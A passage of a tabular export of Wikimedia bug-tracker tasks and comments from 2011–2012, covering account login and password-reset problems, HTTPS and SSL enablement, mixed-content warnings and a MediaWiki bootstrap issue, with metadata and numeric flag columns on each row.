+**Platform**: PC",Needs Triage,90.0,1330227720,1330289204.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-qjkypar4tcksuia4u7qe,task_description,invalid,True,c2,1,False,False,True,-79,True,0,0,0,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+168989,"Site Login Problems Reset Password hi. i try to reset my password, for wicka media, but says cannot find StarTrekCafe but in the login system. can you send me a reset password.","http://toolserver.org/~luxo/contributions/contributions.php?user=StarTrekCafe shows no contributions from StarTrekCafe and both commons and enwiki say ""User account ""StarTrekCafe"" is not registered.""
+
+https://commons.wikimedia.org/wiki/User:StarTrekCafe
+https://en.wikipedia.org/wiki/User:StarTrekCafe
+
+I'm not sure what else we can do since it looks like you've never registered this user.",,,1330289204,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-qjkypar4tcksuia4u7qe,task_subcomment,,True,c2,1,False,,,-79,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,0
+36381,unable to (SUL-)login on uz.wikiquote.org,"**Author:** `kontakt-bugzilla-wikimedia-org-22.07.2011`
+
+**Description:**
+First of all, I'm steward and my SUL is active for years. At the moment it is active in more than 400 wmf projects.
+
+Today I went to some page on ru.wikibooks.org and uz.wikiquote.org (Special:RenameUser to be precise). Usually I only need to change the settings to my language when I enter a new site where I haven't been before. But this time something went wrong.
+
+I was told, that I'm not allowed to call this page, then I mentioned I wasn't logged in. So I tried to login, but I was told, that my password was wrong. On ru.wikibooks.org I was able to request a temporary password, and I was also able to merge this account into my SUL.
+
+But on uz.wikiquote.org I was told, that there is no email address attached to this account thus I'm not able to merge this account into my SUL.
+
+
+Two requests:
+
+1. Please try to find out what went wrong (server problem? database problem?)
+
+2. Please add my bugzilla address to this local account that I'm able to get a temporary password.
+
+Regards
+Andy aka. axpde
+--
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=34512",Needs Triage,90.0,1329165300,1329167231.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-s434bfcz6exkdkrs7tbk,task_description,resolved,True,c2,1,False,False,True,-81,True,1,1,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,1,1,0,0,0,1,1,1,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,1,0,0,1,1,1,1,0,0,1,0,1
+166749,unable to (SUL-)login on uz.wikiquote.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+It happened again on ru.wikiversity.org (see https://bugzilla.wikimedia.org/show_bug.cgi?id=34512)",,,1329656210,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,False,,,-80,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,1
+166743,unable to (SUL-)login on uz.wikiquote.org,"**kontakt-bugzilla-wikimedia-org-22.07.2011** wrote:
+
+Thanks for helping. I'm just curious what might have happened. This is the third time I had to merge a local account manually into my SUL, but the first time I couldn't request a temporary password! So this might happen again ... :(",,,1329167665,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,False,,,-81,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+166738,unable to (SUL-)login on uz.wikiquote.org,"For some reason the email the account was incorrectly created:
+
+[uzwikiquote]> select * from user where user_name='Axpde' \G
+*************************** 1. row ***************************
+                 user_id: 546
+               user_name: Axpde
+          user_real_name: 
+           user_password: 
+        user_newpassword: 
+              user_email: 
+            user_options: 
+            user_touched: 
+              user_token: <some hash>
+user_email_authenticated: NULL
+        user_email_token: NULL
+user_email_token_expires: NULL
+       user_registration: 20120213183354
+       user_newpass_time: NULL
+          user_editcount: 0
+1 row in set (0.00 sec)
+
+
+I have verified that was a SUL account and manually updated the email address
+using eval:
+
+
+$ mwscript eval.php uzwikiquote
+> $u = User::newFromName( 'Axpde' );
+
+> $u->setEmail( <some email> );
+
+> $u->saveSettings();
+
+> exit
+$
+
+User managed to merge that account",,,1329167020,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,True,,,-81,True,1,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,1
+166732,unable to (SUL-)login on uz.wikiquote.org,//**content hidden as private in Bugzilla**//,,,1329166748,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-s434bfcz6exkdkrs7tbk,task_subcomment,,True,c2,1,True,,,-81,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+36197,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**Author:** `qbphcqdw`
+
+**Description:**
+While I was translating a page on wikimania2012.wikimedia.org into Korean, I encountered this error: I couldn't save text including the protocol https. Please review the error. 
+
+Here is one of the urls:
+http://wikimania2012.wikimedia.org/w/index.php?title=Special:Translate&group=page-Scholarships&task=view&language=ko
+
+Thank you.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+**OS**: Windows 7
+**Platform**: PC",Needs Triage,90.0,1328339220,1328365291.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_description,resolved,True,c2,1,False,False,True,-82,True,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0
+165142,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**qbphcqdw** wrote:
+
+(In reply to comment #1)
+> Likely dupe of bug 34182.
+
+Thank you for letting me know the bug.",,,1328365777,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,1,1,0,0,1
+165136,"Can't save text including the protocol https on wikimania2012, translating it into Korean","**qbphcqdw** wrote:
+
+Aha, I see what the error is. Thank you.
+
+%%%*** This bug has been marked as a duplicate of bug 34182 ***%%%",,,1328365291,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,1,1,1,1,1,1,0,0,1,1,0,1,1,0,0,0,0,0
+165130,"Can't save text including the protocol https on wikimania2012, translating it into Korean",Likely dupe of bug 34182.,,,1328339918,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tmo2557xfyyu4p5bjpj3,task_subcomment,,True,c2,1,False,,,-82,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+35897,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"There are a lot of http links to mail.wiki[pm]edia.org, where mailman and pipermail are located.
+
+I use the HTTPS Everywhere, and it was trying to force https instead of http, and reporting ""Connection refused"" errors.
+
+One solution is to add an exclusion to the ruleset. eww
+
+https://gitweb.torproject.org/https-everywhere.git/blob_plain/HEAD:/src/chrome/content/rules/Wikipedia.xml
+
+Another solution is to add https support.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**URL**: https://lists.wikimedia.org/",Needs Triage,90.0,1327298220,1329820969.0,PHID-USER-oxd6f6xemkuyttw7z7wl,False,,False,PHID-TASK-nutez2fenp3vderamehw,task_description,resolved,True,c2,1,True,False,True,-84,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+158148,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"This issue was fixed on February 7 by Daniel Zahn.
+
+
+http://mail.wikipedia.org/
+http://mail.wikimedia.org/
+
+Both redirect to https://lists.wikimedia.org/mailman/listinfo",,,1329820969,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-80,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+158141,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,Create RT ticket https://rt.wikimedia.org/Ticket/Display.html?id=2315.,,,1327336485,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-84,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+158134,Enable HTTPS for mail.wiki[mp]edia.org and redirect to lists,"mail.wikimedia.org & mail.wikipedia.org do not respond to HTTPS. Protocol should be enabled and a wildcard redirect set just like the HTTP version.
+
+HTTP currently redirect to URL:
+
+https://lists.wikimedia.org/mailman/listinfo",,,1327320608,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-nutez2fenp3vderamehw,task_subcomment,,True,c2,1,True,,,-84,True,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+35269,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","**Author:** `it_is_me_here`
+
+**Description:**
+On the English Wikipedia, at least, if you type something like ""[//en.wikipedia.org/w/index.php?title=Main_Page&oldid=464887589]"" and are yourself browsing the site through https://en.wikipedia.org, then the external link will show up with a normal EL symbol (a square with an arrow leaving it), rather than with an HTTPS EL symbol (a padlock), even though the link will direct you to an HTTPS URL.
+
+--------------------------
+**Version**: 1.18.x
+**Severity**: minor
+**OS**: Windows 7
+**Platform**: PC",Needs Triage,90.0,1324375620,1324395684.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-n3siqim7537mxhgjm3f5,task_description,resolved,True,c2,1,False,False,True,-89,True,0,1,0,0,0,1,0,0,1,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,0,1,1,1,0,1,1
+156797,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","
+
+*** This bug has been marked as a duplicate of bug 30682 ***",,,1324395684,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0
+156792,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","(In reply to comment #1)
+> Hmmm.
+> 
+> Those padlock icons are done through css like a.external[href^=""https://""]
+> which won't trigger for protocol relative.
+> 
+> 
+> Not sure if its possible to serve some css only to secure folks with a
+> a.external[href^=""//""] type rule. It seems like that would conflict with the
+> whole one version of things regardless of protocol.
+I don't believe this is possible, no. This is a duplicate of another bug but I can't find it offhand.",,,1324395619,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,1,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1
+156785,"protocol relative urls do not have ""secure"" pad-lock icon when browsing from https and are thus secure links","Hmmm.
+
+Those padlock icons are done through css like a.external[href^=""https://""] which won't trigger for protocol relative.
+
+
+Not sure if its possible to serve some css only to secure folks with a a.external[href^=""//""] type rule. It seems like that would conflict with the whole one version of things regardless of protocol.",,,1324376516,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-n3siqim7537mxhgjm3f5,task_subcomment,,True,c2,1,False,,,-89,True,1,0,0,1,1,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,0
+34774,Request ability to connect to MySQL using SSL,"**Author:** `todd_taft`
+
+**Description:**
+I'd like to be able to connect to a (remote) MySQL server using SSL connections between the web server and the MySQL server.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Needs Triage,90.0,1322857440,1345354756.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-anw5smyguvlxi2yrdq36,task_description,resolved,True,c2,1,False,False,True,-91,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+154507,Request ability to connect to MySQL using SSL,"https://gerrit.wikimedia.org/r/19933
+
+Doesn't add installer magic, unfortunately, because I don't have much experience with that. Somebody else can add those options if necessary.",,,1345063804,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-54,True,1,1,0,0,1,1,0,1,0,1,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+154500,Request ability to connect to MySQL using SSL,Certainly worth seeing if we can do the same for Postgres and Oracle at the same,,,1322865836,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+154494,Request ability to connect to MySQL using SSL,"**todd_taft** wrote:
+
+Replacing 
+
+$this->mConn = mysql_pconnect( $realServer, $user, $password );
+
+with
+
+$this->mConn = mysql_pconnect( $realServer, $user, $password, MYSQL_CLIENT_SSL );
+
+and
+
+this->mConn = mysql_connect( $realServer, $user, $password, true );
+
+with
+
+this->mConn = mysql_connect( $realServer, $user, $password, true, MYSQL_CLIENT_SSL );
+
+in includes/db/DatabaseMysql.php seems to work.
+
+It would be nice to have the appropriate magic in the installer (and presumably a variable in LocalSettings.php) to enable this without requiring this minor source code change.",,,1322860106,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+154488,Request ability to connect to MySQL using SSL,"**preilly** wrote:
+
+You can find the list of flags located at http://www.php.net/manual/en/mysql.constants.php#mysql.client-flags",,,1322858901,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,False,,,-91,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+154481,Request ability to connect to MySQL using SSL,"Note that as a workaround, you may be able to add flags to the mysql_connect() calls in DatabaseMySql::open().",,,1322858440,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-anw5smyguvlxi2yrdq36,task_subcomment,,True,c2,1,True,,,-91,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+34522,SSL mixed content warning on donation landing page (BPAY_Landscape_MONO.gif),"At https://donate.wikimedia.org/wiki/Special:FundraiserLandingPage?uselang=en&country=IN&template=Lp-layout-default&appeal-template=Appeal-template-default&appeal=Appeal-default&form-template=Form-template-default&form-countryspecific=Form-countryspecific-variable1&utm_medium=sitenotice&utm_source=B11_Donate_Jimmy2_AvsB&utm_campaign=C11_1114_AvsB_IN seen on bug 32484, my Firefox 8 shows:
+
+""Security Warning
+
+You have requested an encrypted page that contains some unencrypted information. Information that you see or enter on this page could easily be read by a third party.""
+
+Offending file is:
+http://upload.wikimedia.org/wikipedia/donate/e/e3/BPAY_Landscape_MONO.gif
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**URL**: https://donate.wikimedia.org/wiki/Special:FundraiserLandingPage?uselang=en&country=IN&template=Lp-layout-default&appeal-template=Appeal-template-default&appeal=Appeal-default&form-template=Form-template-default&form-countryspecific=Form-countryspecific-variable1&utm_medium=sitenotice&utm_source=B11_Donate_Jimmy2_AvsB&utm_campaign=C11_1114_AvsB_IN",Needs Triage,90.0,1321815660,1321846081.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-dcqi5pod3x75e3hicaln,task_description,resolved,True,c2,1,True,False,True,-93,True,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,1,0,1,1,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+157851,SSL mixed content warning on donation landing page (BPAY_Landscape_MONO.gif),"Thanks Brion,
+
+This is clearly a ""James was being stupid"" bug. That image wasn't even loading on any pages I just put it in for a mockup on another page and wasn't thinking about proto rel or https. This has been fixed.",,,1321846063,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-dcqi5pod3x75e3hicaln,task_subcomment,,True,c2,1,False,,,-93,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+34477,MWHttpRequest may have to require_once() GlobalFunctions.php,"**Author:** `raphael.droz`
+
+**Description:**
+If
+* you attempt to MWHttpRequest::factory() (eg, during bootstrap, from an extension),
+* and you don't have curl (should I ?)
+
+=> then you're getting failures because wfIniGetBool() is not yet defined
+
+There should be a way to require(GlobalFunctions.php) in such a case.
+
+HTTP component set to ""redirect"", feel free to change this.
+
+--------------------------
+**Version**: 1.20.x
+**Severity**: minor",Needs Triage,90.0,1321628700,1321890399.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,False,PHID-TASK-okehmm44iuapntenizn5,task_description,declined,True,c2,1,False,False,True,-93,True,0,0,0,0,1,1,1,1,0,1,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+154958,MWHttpRequest may have to require_once() GlobalFunctions.php,"**raphael.droz** wrote:
+
+I need MWHttpRequest during Auth::authenticate.
+Just tested and it happens that wfIniGetBool *is* defined at this time.
+(thus I'm fine with WONTFIX)
+
+*but* if I wanted to use it during the *constructor* of my Auth plugin it would have failed.",,,1321656772,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+154950,MWHttpRequest may have to require_once() GlobalFunctions.php,You'll want to create a $wgAuth instance I think (or should even that not run until wgExtensionFunctions time? quite possibly) but you definitely should NOT be actively attempting to use framework features as nothing may be set up yet.,,,1321644785,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,True,,,-93,True,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,1,0,1,0,0,0
+154945,MWHttpRequest may have to require_once() GlobalFunctions.php,"**raphael.droz** wrote:
+
+But shouldn't Auth-related extensions be used in LocalSettings in order to setup wgAuth instead of using wgExtensionFunctions ?
+If so, then does it mean that such extension can't rely on MW HTTP facilities ?",,,1321634939,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+154940,MWHttpRequest may have to require_once() GlobalFunctions.php,"Are you using MWHttpRequest::factory() directly in the extension setup code? If so, suggest WONTFIX. It's expected that not everything are initialized at that time. There's also a [[mw:Manual:$wgExtensionFunctions]] for code which requires a fully initialized environment.",,,1321629327,,PHID-USER-zjzhrhmn36icnzbckqy4,False,,,PHID-TASK-okehmm44iuapntenizn5,task_subcomment,,True,c2,1,False,,,-93,True,0,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,1,0,1,1,0,1,0,0,1
+34396,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","The page https://lists.wikimedia.org/mailman/listinfo/wikibugs-l loads the bugzilla logo over http, not over https.
+
+Please change this and check all other mail lists, which are using logos.
+
+Maybe use protocol relative urls
+
+Thanks.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1321208460,1321305957.0,PHID-USER-a6jwrurphpx6yl4coupk,False,,False,PHID-TASK-p23aqxht4xoastxbttjg,task_description,resolved,True,c2,1,False,False,True,-94,True,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1
+158944,"https://lists.wikimedia.org/mailman/listinfo/wikibugs-l is loading logo over http, when using https","(In reply to comment #1)
+> All images on that page are loading over SSL for me at present. Can you
+> confirm?
+
